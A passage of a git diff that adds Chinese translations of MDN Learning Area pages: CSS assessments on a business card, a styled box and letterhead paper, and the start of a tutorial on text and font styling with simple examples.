href="https://thimble.mozilla.org/">Thimble</a> 来做你的测验。你可以复制 HTML 和 CSS 到其中一个在线编辑器中,以及使用这个 <a href="http://mdn.github.io/learning-area/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">this URL</a> 来让 <code><img></code> 显示图片。如果你使用的在线编辑器无法让你链接 CSS 文件 (没有单独的 CSS 面板),你也可以将 CSS 直接放入<code><style></code> 元素中。</p> +</div> + +<h2 id="项目概要">项目概要</h2> + +<p>我们已经为你提供了一些原始的 HTML 和一张图片,然后需要编写必要的 CSS 来让其成为一个漂亮的网上小名片,可能大小是游戏玩家卡片或社交媒体简介的两倍。下面的段落描述了你需要做的事情。</p> + +<p>基本设置:</p> + +<ul> + <li>首先,在你放 HTML 文件和图像文件的目录下,创建一个新的文件,把它命名为类似<code>style.css</code>。</li> + <li>通过 <code><link></code> 元素来将你的 CSS 链接到 HTML 文件中。</li> + <li>我们为你提供的 CSS 资源文本文件中,前两项规则集是我们设置好的,你可以直接使用,所以将他们复制粘贴到你的新 CSS 文件的顶部。同时也可以将这个作为测验,用来确认你是否正确链接了你的 CSS 文件到 HTML 中。</li> + <li>在以上的两条规则中添加一条 CSS 注释,注释中要包含一些文本来表明这是整体页面的一般样式。你可以在 CSS 文件底部添加 3 个或以上的注释,来明确地表明该样式是应用到卡片的容器,应用到标题和页脚的样式,和名片主要内容的样式。从现在开始,随后在样式表添加的样式都应该有组织地放置在合适的地方。</li> +</ul> + +<p>关注我们为你提供的选择器和规则集:</p> + +<ul> + <li>接下来, 我们希望你观察四个选择器,并计算每一个的专用性。将它们写在稍后可以找到的地方,例如在 CSS 顶部的注释中。</li> + <li>现在是时候把正确的选择器放在正确的规则集上了!你的 CSS 资源中有四对选择器和规则集需要匹配,现在就开始匹配,并将它们添加到你的 CSS 文件。你需要: + <ul> + <li>为整体卡片的容器提供一个固定的宽/高,背景颜色,边框,以及边框圆角等等。</li> + <li>为header提供一个渐变的背景颜色,从更暗到更亮,加上圆角,配合在卡片容器上设置的圆角。</li> + <li>为footer提供一个渐变的背景颜色,从更亮到更暗,加上圆角,配合在卡片容器上设置的圆角。</li> + <li>将图像向右浮动,使其粘贴在名片主要内容的右边,然后把它的 max-height 设置为 100% (一个聪明的技巧,来确保它将放大/缩小,与父容器保持同样的高度,不管它变成什么高度。)</li> + </ul> + </li> + <li>注意!提供的规则集中有两个错误。使用你知道的任何技术找到这些错误并修复,然后再继续。</li> +</ul> + +<p>你需要写的新规则:</p> + +<ul> + <li>编写一个同时面向 card head 和 card footer 的规则集,使它们计算的总高度为 50px(包括 30px 的内容高度和 10px 的 padding )但用 <code>em</code> 来表示。</li> + <li>浏览器会为<code><h2></code> 和 <code><p></code>元素应用默认的 margin,这会影响我们的设计,所以编写一个规则集: margin 设置为 0。</li> + <li>为了阻止图像溢出名片的主要内容 ( <code><article></code> 元素),我们需要给它设置一个明确的高度。设置 <code><article></code>的高度为 120px,但是使用 <code>em</code>来表示。还要给它一个半透明黑色的背景颜色,产生一个稍暗一点的阴影,能让红色的背景稍微透过。</li> + <li>编写一个规则集,使 <code><h2></code> 有效的字体大小为 20px (使用 <code>em</code>表达) 以及一个适当的行高将其放置在标题的内容框的中央。回想起来,内容框高度应该是 30px,你所有需要的数字都已经给你了,所以可以计算出行高。</li> + <li>为页脚中的 <code><p></code> 编写一个规则集,使它的有效字体大小为 15px (使用 <code>em</code>表达) 以及一个适当的行高将其放置在页面的内容框的中央。回想起来,内容框高度应该是30px,你所有需要的数字都已经给你了,所以可以计算出行高。</li> + <li>最为最后一步, 为 <code><article></code> 中的段落设置一个合适的 padding 值,让它和 <code><h2></code> 以及页脚的段落左边缘对齐,并将其颜色设置得便于阅读。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: 记住第二条规则集会将 <code>font-size: 10px;</code> 设置在 <code><html></code> 元素上 — 这意味着 <code><html></code> 的任何后代中,一个em将会等于10px而不是默认的 16px 。(这是当然的,如果在层次结构中,有不同的 <code>font-size</code> 设置于其上,问题中的后代没有任何的祖先位于 em元素和 <code><html></code> 之间。这可能会影响您所需要的值,尽管在这个简单的示例中,这不是问题。)</p> +</div> + +<p>其他事情要考虑:</p> + +<ul> + <li>如果你编写的 CSS 有比较好的可读性,并在每行上单独声明,你将得到奖励。</li> + <li>你应该在所有规则的选择器中都用 <code>.card</code> 作为开头,这样的好处是:如果将名片放在带有其他内容的页面的情况下,这些规则不会干扰其他元素的样式。</li> +</ul> + +<h2 id="注意和提示">注意和提示</h2> + +<ul> + <li>你不需要以任何方式编辑 HTML,除了将 CSS 应用于你的 HTML 。</li> + <li>当使用 <code>em</code> 值代表一些你需要的像素长度的时候,想想 (<code><html></code>) 元素的基本字体大小,以及需要乘以什么才能获得所需的值。这将给你 em 的值,至少在这样一个简单的情况下。</li> +</ul> + +<h2 id="示例">示例</h2> + +<p>完成的设计应如下图所示:</p> + +<p><img alt="A view of the finished business card, show a reader header and footer, and a darker center panel containing the main details and image." src="https://mdn.mozillademos.org/files/12616/business-card.png" style="display: block; margin: 0 auto;"></p> + +<h2 id="评估">评估</h2> + +<p>如果您将此评估作为有组织的课程的一部分,您应该能够将您的工作交给您的老师/导师进行打分。 如果您是自学的,那么您可以通过询问 <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Learning Area Discourse thread</a>, 或在 <a href="irc://irc.mozilla.org/mdn">#mdn</a>的IRC频道 <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> 中轻松获得打分指南. 首先尝试练习 - 作弊学不到什么!</p> + +<p>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}</p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works">How CSS works</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Syntax">CSS syntax</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors">Selectors</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors/Simple_selectors">Simple selectors</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors/Attribute_selectors">Attribute selectors</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes and pseudo-elements</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors/Combinators_and_multiple_selectors">Combinators and multiple selectors</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS values and units</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance">Cascade and inheritance</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model">The box model</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension">Fundamental CSS comprehension</a></li> +</ul> diff --git a/files/zh-cn/learn/css/styling_boxes/a_cool_looking_box/index.html b/files/zh-cn/learn/css/styling_boxes/a_cool_looking_box/index.html new file mode 100644 index 0000000000..6ddd1d114b --- /dev/null +++ b/files/zh-cn/learn/css/styling_boxes/a_cool_looking_box/index.html @@ -0,0 +1,88 @@ +--- +title: 一个漂亮的盒子 +slug: Learn/CSS/Styling_boxes/A_cool_looking_box +translation_of: Learn/CSS/Building_blocks/A_cool_looking_box +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</div> + +<p class="summary">在这个评估里,通过尝试创造一个引人瞩目的盒子,你将得到更多关于如何创造酷炫盒子的练习。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>在开始这个评估之前你应该已经学习过这个模块里的所有其他文章。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>测试对CSS盒模型和其他盒相关特性的掌握程度,比如背景和边框。</td> + </tr> + </tbody> +</table> + +<h2 id="起点">起点</h2> + +<p>在开始评估之前,你需要:</p> + +<ul> + <li>复制一份<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/cool-information-box-start/index.html">HTML</a>和<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/cool-information-box-start/style.css">CSS</a>代码,并在一个新的目录下把它们保存为<code>index.html</code> 和 <code>style.css</code>。</li> +</ul> + +<div class="note"> +<p><strong>提醒</strong>:或者你也可以用<a href="http://jsbin.com/" rel="noopener">JSBin</a>或<a href="https://thimble.mozilla.org/" rel="noopener">Thimble</a>这样的网站来做这个评估,把链接里的HTML和CSS代码贴到这些在线编辑器里就行。如果你在用的在线编辑器没有独立的CSS面板的话,把CSS代码放到HTML文档头部的<code><style></code>元素里就好。</p> +</div> + +<h2 id="项目简介">项目简介</h2> + +<p>你的任务是创建一个酷炫的盒子,并探索CSS的乐趣。</p> + +<h3 id="一般任务">一般任务</h3> + +<ul> + <li>把CSS链接到HTML里。</li> +</ul> + +<h3 id="样式化盒子">样式化盒子</h3> + +<p>给{{htmlelement("p")}}添加样式:</p> + +<ul> + <li>一个对于大按钮来说合理的宽度,200像素左右。</li> + <li>一个对于大按钮来说合理的高度,并使文本纵向居中。</li> + <li>居中文本。</li> + <li>用<code>rem</code>使字体稍大一点,大约17-18像素,在注释里说说你的值是怎么算出来的。</li> + <li>给你的设计定一个基础颜色,把它作为盒子的背景颜色。</li> + <li>把字体颜色设为同一个颜色,使用黑色的文字阴影增加可读性。</li> + <li>一个精巧的圆角边框。</li> + <li>一个跟基础颜色相近、1像素宽的实线边框,颜色要稍深一点。</li> + <li>一个指向右下角的黑色半透明线性渐变,让它在开始的时候完全透明,在30%的处渐变到0.2的不透明度,然后保持相同颜色到最后。</li> + <li>多个盒阴影:一个标准的盒阴影,使它看起来稍微从页面上浮起来;另外两个是内嵌(inset)的盒阴影,一个是左上角附近的白色半透明阴影和另一个是右下角附近的黑色半透明阴影,让盒子有一个漂亮的3D外观。</li> +</ul> + +<h2 id="范例">范例</h2> + +<p>完成之后的盒子可能会像下面的截图这样:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13148/fancy-box.png" style="display: block; height: 76px; margin: 0px auto; width: 228px;"></p> + +<h2 id="评估">评估</h2> + +<p>如果这个评估是一系列课程的一部分,你应该可以让你的老师或导师为你批改。 如果你是自学,可以很容易地在<a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294" rel="noopener">Learning Area Discourse thread</a>或<a href="https://wiki.mozilla.org/IRC" rel="noopener">Mozilla IRC</a>的<a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC频道回复得到批改指南。请先自己试着做——作弊学不到任何东西!</p> + +<p>{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</p> + +<h2 id="在这个模块里">在这个模块里</h2> + +<ul> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Styling_boxes/Box_model_recap">盒模型概要</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Styling_boxes/Backgrounds" rel="nofollow">背景</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Styling_boxes/Borders">边框</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Styling_boxes/Styling_tables">样式化表格</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Styling_boxes/Advanced_box_effects">高级盒效果</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper" rel="nofollow">创建精美的信纸</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Styling_boxes/A_cool_looking_box" rel="nofollow">一个漂亮的盒子</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/css/styling_boxes/creating_fancy_letterheaded_paper/index.html b/files/zh-cn/learn/css/styling_boxes/creating_fancy_letterheaded_paper/index.html new file mode 100644 index 0000000000..692071dfde --- /dev/null +++ b/files/zh-cn/learn/css/styling_boxes/creating_fancy_letterheaded_paper/index.html @@ -0,0 +1,101 @@ +--- +title: 创建精美的信纸 +slug: Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper +translation_of: Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}}</div> + +<p class="summary">如果你想给人留下好印象,把信写在一张精美的信纸上会是个不错的开始,在这个评估里我们希望你能创建一个在线模版来达到这样的效果。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>在开始这个评估之前你应该已经学习过这个模块里的所有其他文章。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>测试对CSS盒模型和其他盒相关特性的掌握程度,比如实现背景等。</td> + </tr> + </tbody> +</table> + +<h2 id="起点">起点</h2> + +<p>在开始评估之前,你需要:</p> + +<ul> + <li>复制一份<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/index.html">HTML</a>和<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/letterheaded-paper-start/style.css">CSS</a>代码,并在一个新的目录下把它们保存为<code>index.html</code> 和 <code>style.css</code>。</li> + <li>在同一个目录下下载这几张图片:<a href="https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/top-image.png">顶部</a>、<a href="https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/bottom-image.png">底部</a>和<a href="https://raw.githubusercontent.com/mdn/learning-area/master/css/styling-boxes/letterheaded-paper-start/logo.png">标志</a>。</li> +</ul> + +<div class="note"> +<p><strong>提醒</strong>:或者你也可以用<a href="http://jsbin.com/">JSBin</a>或<a href="https://thimble.mozilla.org/">Thimble</a>这样的网站来做这个评估,把链接里的HTML和CSS代码贴到这些在线编辑器里就行。如果你在用的在线编辑器没有独立的CSS面板的话,把CSS代码放到HTML文档头部的<code><style></code>元素里就好。</p> +</div> + +<h2 id="项目简介">项目简介</h2> + +<p>你已经有了创建一个信纸模版所需的所有文件,只需把它们放到一起就好。为了达到目标,你需要:</p> + +<h3 id="信纸主体">信纸主体</h3> + +<ul> + <li>把CSS链接到HTML文档里。</li> + <li>给信纸添加这样一个背景: + <ul> + <li>把之前下载的顶部图片固定到信纸顶部。</li> + <li>把之前下载的底部图片固定到信纸底部。</li> + <li>为了给信纸一点纹理,在前面背景的基础上添加一个半透明的渐变,使其在顶部和底部附近稍微变暗,但中间的大部分完全透明。</li> + </ul> + </li> + <li>多添加一个<code>background</code>声明,仅添加顶部图片到信纸顶部,以此作为不支持之前那种声明方式的浏览器的后备方案。</li> + <li>给信纸添加一个白色的背景颜色。</li> + <li>给信纸添加一个1mm的上下实线边框,选一个符合信纸的颜色主题的边框颜色。</li> +</ul> + +<h3 id="标志">标志</h3> + +<ul> + <li>把之前下载的标志图片添加为{{htmlelement("h1")}}的背景图片。</li> + <li>给标志添加一个过滤器,使它有一个隐隐约约的阴影。</li> + <li>现在把添加的过滤器注释掉,尝试用其他(更跨浏览器兼容)的方式实现一个相同的阴影,阴影需要同样符合圆形图片的形状。</li> +</ul> + +<h2 id="提示和技巧">提示和技巧</h2> + +<ul> + <li>记住,你可以这样为较旧的浏览器创建一个后备方案:先写一个较旧的浏览器支持的后备声明,然后再接着写只有较新的浏览器才支持的声明。这样比较旧的浏览器会应用第一个声明而忽略掉第二个不支持的声明,与此同时比较新的浏览器会先应用第一个声明,然后用第二个声明把它覆盖掉。</li> + <li>如果想的话你可以随意地用自己的图片来做这个评估。</li> +</ul> + +<h2 id="范例">范例</h2> + +<p>完成之后的信纸可能会像下面的截图这样:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13144/letterhead.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p> </p> + +<h2 id="评估">评估</h2> + +<p>如果这个评估是一系列课程的一部分,你应该可以让你的老师或导师为你批改。 如果你是自学,可以很容易地在 <a href="https://discourse.mozilla.org/t/creating-fancy-letterheaded-paper-assessment/24684/1">discussion thread for this exercise</a> 或<a href="https://wiki.mozilla.org/IRC" rel="noopener">Mozilla IRC</a>的<a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC频道回复得到批改指南。请先自己试着做——作弊学不到任何东西!</p> + +<p>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}}</p> + +<p> </p> + +<h2 id="在这个模块里">在这个模块里</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/CSS/Styling_boxes/Box_model_recap">盒模型概要</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Styling_boxes/Backgrounds">背景</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Styling_boxes/Borders">边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Styling_boxes/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Styling_boxes/Advanced_box_effects">高级盒效果</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">创建精美的信纸</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Styling_boxes/A_cool_looking_box">一个漂亮的盒子</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/css/为文本添加样式/fundamentals/index.html b/files/zh-cn/learn/css/为文本添加样式/fundamentals/index.html new file mode 100644 index 0000000000..45660a9532 --- /dev/null +++ b/files/zh-cn/learn/css/为文本添加样式/fundamentals/index.html @@ -0,0 +1,727 @@ +--- +title: 基本文本和字体样式 +slug: Learn/CSS/为文本添加样式/Fundamentals +tags: + - 初学者 + - 对齐 + - 文本 + - 样式 + - 间距 +translation_of: Learn/CSS/Styling_text/Fundamentals +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</div> + +<p class="summary"><span class="seoSummary">在这篇文章中,我们将带你开始掌握 {{glossary("CSS")}} 的文字样式的旅程。</span>这里我们将详细介绍文本/字体样式的所有基本原理,包括设置文字的粗细,字体和样式,文字的属性简写,文字的对齐,和其他效果,以及行和字母间距。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>基本的电脑操作,HTML 基础 (学习 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>),CSS 基础 (学习 <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>).</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>了解在网页上设计文本所需的基本属性和技术。</td> + </tr> + </tbody> +</table> + +<h2 id="CSS中的文字样式涉及什么?">CSS中的文字样式涉及什么?</h2> + +<p>正如你已经在你使用 HTML 和 CSS 完成工作时所经历的一样,元素中的文本是布置在元素的内容框中。以内容区域的左上角作为起点 (或者是右上角,是在 RTL 语言的情况下),一直延续到行的结束部分。一旦达到行的尽头,它就会进到下一行,然后继续,再接着下一行,直到所有内容都放入了盒子中。文本内容表现地像一些内联元素,被布置到相邻的行上,除非到达了行的尽头,否则不会换行,或者你想强制地,手动地造成换行的话,你可以使用 {{htmlelement("br")}} 元素。</p> + +<div class="note"> +<p><strong>注意</strong>: 如果上面的段落让你感到困惑,没关系,在继续之前,可以重新看看我们的 <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Box_model">Box model</a> 文件,复习框模型的理论。</p> +</div> + +<p>用于样式文本的 CSS 属性通常可以分为两类,我们将在本文中分别观察。</p> + +<ul> + <li><strong>字体样式</strong>: 作用于字体的属性,会直接应用到文本中,比如使用哪种字体,字体的大小是怎样的,字体是粗体还是斜体,等等。</li> + <li><strong>文本布局风格</strong>: 作用于文本的间距以及其他布局功能的属性,比如,允许操纵行与字之间的空间,以及在内容框中,文本如何对齐。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: 请记住,包含在元素中的文本是作为一个单一的实体。你不能将文字其中一部分选中或添加样式,如果你要这么做,那么你必须要用适合的元素来包装它们,比如 ( {{htmlelement("span")}} 或者 {{htmlelement("strong")}}), 或者使用伪元素,像<a href="/zh-CN/docs/Web/CSS/::first-letter">::first-letter</a> (选中元素文本的第一个字母), <a href="/zh-CN/docs/Web/CSS/::first-line">::first-line</a> (选中元素文本的第一行), 或者 <a href="/zh-CN/docs/Web/CSS/::selection">::selection</a> (当前光标双击选中的文本)</p> +</div> + +<h2 id="字体">字体</h2> + +<p>我们直接来看看样式字体的属性。在这个例子中,我们会在一个相同的 HTML 示例中应用一些不同的 CSS 属性,就像这样:</p> + +<pre class="brush: html"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p></pre> + +<p>你可以在这找到完成版本 <a href="http://mdn.github.io/learning-area/css/styling-text/fundamentals/">finished example on Github</a> (也可以看源码 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/fundamentals/index.html">the source code</a>.)</p> + +<h3 id="颜色">颜色</h3> + +<p>{{cssxref("color")}} 属性设置选中元素的前景内容的颜色 (通常指文本,不过也包含一些其他东西,或者是使用 {{cssxref("text-decoration")}} 属性放置在文本下方或上方的线 (underline overline)。</p> + +<p><code>color</code> 也可以接受任何合法的 <a href="/zh-CN/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">CSS 颜色单位</a>, 比如:</p> + +<pre class="brush: css">p { + color: red; +}</pre> + +<p>这将导致段落变为红色,而不是标准的浏览器默认的黑色,如下所示:</p> + +<div class="hidden"> +<pre class="brush: html"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p></pre> +</div> + +<p>{{ EmbedLiveSample('颜色', '100%', 220) }}</p> + +<h3 id="字体种类">字体种类</h3> + +<p>要在你的文本上设置一个不同的字体,你可以使用 {{cssxref("font-family")}} 属性,这个允许你为浏览器指定一个字体 (或者一个字体的列表),然后浏览器可以将这种字体应用到选中的元素上。浏览器只会把在当前机器上可用的字体应用到当前正在访问的网站上;如果字体不可用,那么就会用浏览器默认的字体代替 {{anch("Default fonts", "default font")}}. 下面是一个简单的例子:</p> + +<pre class="brush: css">p { + font-family: arial; +}</pre> + +<p>这段语句使所有在页面上的段落都采用 arial 字体,这个字体可在任何电脑上找到。</p> + +<h4 id="网页安全字体">网页安全字体</h4> + +<p>说到字体可用性,只有某几个字体通常可以应用到所有系统,因此可以毫无顾忌地使用。这些都是所谓的 <strong>网页安全字体</strong>。</p> + +<p>大多数时候,作为网页开发者,我们希望对用于显示我们的文本内容的字体有更具体的控制。问题在于,需要一个方法来知道当前正在浏览我们的网站网页的电脑,它有哪些可用字体。我们并不是总能在每种情况下都知道这一点,但是网络安全字体在几乎所有最常用的操作系统(Windows,Mac,最常见的Linux发行版,Android和iOS版本)中都可用。</p> + +<p>实际的Web安全字体列表将随着操作系统的发展而改变,但是可以认为下面的字体是网页安全的,至少对于现在来说 (它们中的许多都非常流行,这要感谢微软在90年代末和21世纪初期的倡议<em><a href="https://en.wikipedia.org/wiki/Core_fonts_for_the_Web">Core fonts for the Web</a></em> ):</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">字体名称</th> + <th scope="col" style="white-space: nowrap;">泛型</th> + <th scope="col">注意</th> + </tr> + </thead> + <tbody> + <tr> + <td>Arial</td> + <td>sans-serif</td> + <td>通常认为最佳做法还是添加 Helvetica 作为 Arial 的首选替代品,尽管它们的字体面几乎相同,但 Helvetica 被认为具有更好的形状,即使Arial更广泛地可用。</td> + </tr> + <tr> + <td>Courier New</td> + <td>monospace</td> + <td>某些操作系统有一个 Courier New 字体的替代(可能较旧的)版本叫Courier。使用Courier New作为Courier的首选替代方案,被认为是最佳做法。</td> + </tr> + <tr> + <td style="white-space: nowrap;">Georgia</td> + <td>serif</td> + <td></td> + </tr> + <tr> + <td style="white-space: nowrap;">Times New Roman</td> + <td>serif</td> + <td>某些操作系统有一个 Times New Roman 字体的替代(可能较旧的)版本叫 Times。使用Times作为Times New Roman的首选替代方案,被认为是最佳做法。</td> + </tr> + <tr> + <td>Trebuchet MS</td> + <td>sans-serif</td> + <td>您应该小心使用这种字体——它在移动操作系统上并不广泛。</td> + </tr> + <tr> + <td>Verdana</td> + <td>sans-serif</td> + <td></td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>注意</strong>: 在各种资源中,<a href="http://www.cssfontstack.com/">cssfontstack.com</a> 网站维护了一个可用在 Windows 和 Mac 操作系统上使用的网页安全字体的列表,这可以帮助决策网站的安全性。</p> +</div> + +<div class="note"> +<p><strong>注意</strong>: 有一个可以下载来自一个网页的自定义字体的方法,允许你通过任何你想要的方法来定制你使用的字体:<strong>网页字体</strong>。这个有一点复杂,我们将在这个模块中的另一篇文章中讨论这一点。</p> +</div> + +<h4 id="默认字体">默认字体</h4> + +<p>CSS 定义了 5 个常用的字体名称: <code>serif<font face="Open Sans, Arial, sans-serif">, </font></code><code>sans-serif,<font face="Open Sans, Arial, sans-serif"> </font></code><code>monospace</code>, <code>cursive,</code>和 <code>fantasy. </code>这些都是非常通用的,当使用这些通用名称时,使用的字体完全取决于每个浏览器,而且它们所运行的每个操作系统也会有所不同。这是一种糟糕的情况,浏览器会尽力提供一个看上去合适的字体。 <code>serif</code>, <code>sans-serif</code> 和 <code>monospace</code> 是比较好预测的,默认的情况应该比较合理,另一方面,<code>cursive</code> 和 <code>fantasy</code> 是不太好预测的,我们建议使用它们的时候应该稍微注意一些,多多测试。</p> + +<p>五个名称定义如下:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">名称</th> + <th scope="col">定义</th> + <th scope="col">示例</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>serif</code></td> + <td>有衬线的字体 (衬线一词是指字体笔画尾端的小装饰,存在于某些印刷体字体中)</td> + <td><span style="font-family: serif;">My big red elephant</span></td> + </tr> + <tr> + <td><code>sans-serif</code></td> + <td>没有衬线的字体。</td> + <td><span style="font-family: sans-serif;">My big red elephant</span></td> + </tr> + <tr> + <td><code>monospace</code></td> + <td>每个字符具有相同宽度的字体,通常用于代码列表。</td> + <td><span style="font-family: monospace;">My big red elephant</span></td> + </tr> + <tr> + <td><code>cursive</code></td> + <td>用于模拟笔迹的字体,具有流动的连接笔画。</td> + <td><span style="font-family: cursive;">My big red elephant</span></td> + </tr> + <tr> + <td><code>fantasy</code></td> + <td>用来装饰的字体</td> + <td><span style="font-family: fantasy;">My big red elephant</span></td> + </tr> + </tbody> +</table> + +<h4 id="字体栈">字体栈</h4> + +<p>由于你无法保证你想在你的网页上使用的字体的可用性 (甚至一个网络字体可能由于某些原因而出错), 你可以提供一个<strong>字体栈</strong> (<strong>font stack</strong>),这样的话,浏览器就有多种字体可以选择了。只需包含一个<code>font-family属性</code>,其值由几个用逗号分离的字体名称组成。比如</p> + +<pre class="brush: css">p { + font-family: "Trebuchet MS", Verdana, sans-serif; +}</pre> + +<p>在这种情况下,浏览器从列表的第一个开始,然后查看在当前机器中,这个字体是否可用。如果可用,就把这个字体应用到选中的元素中。如果不可用,它就移到列表中的下一个字体,然后再检查。</p> + +<p>在字体栈的最后提供一个合适的通用的字体名称是个不错的办法,这样的话,即使列出的字体都无法使用,浏览器至少可以提供一个还算合适的选择。为了强调这一点,如果没有其他选项可用,那么段落将被赋予浏览器的默认衬线字体 - 通常是Time New Roman - 这对于 sans-serif 字体是不利的!</p> + +<div class="note"> +<p><strong>注意</strong>: 有一些字体名称不止一个单词,比如<code>Trebuchet MS</code> ,那么就需要用引号包裹。</p> +</div> + +<h4 id="一个使用_font-family_的例子">一个使用 font-family 的例子</h4> + +<p>让我们把它添加到之前的例子上,给段落一个 sans-serif 的字体。</p> + +<pre class="brush: css">p { + color: red; + font-family: Helvetica, Arial, sans-serif; +}</pre> + +<p>这给我们以下结果:</p> + +<div class="hidden"> +<pre class="brush: html"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p></pre> +</div> + +<p>{{ EmbedLiveSample('一个使用_font-family_的例子', '100%', 220) }}</p> + +<h3 id="字体大小">字体大小</h3> + +<p>在我们之前的模块中的<a 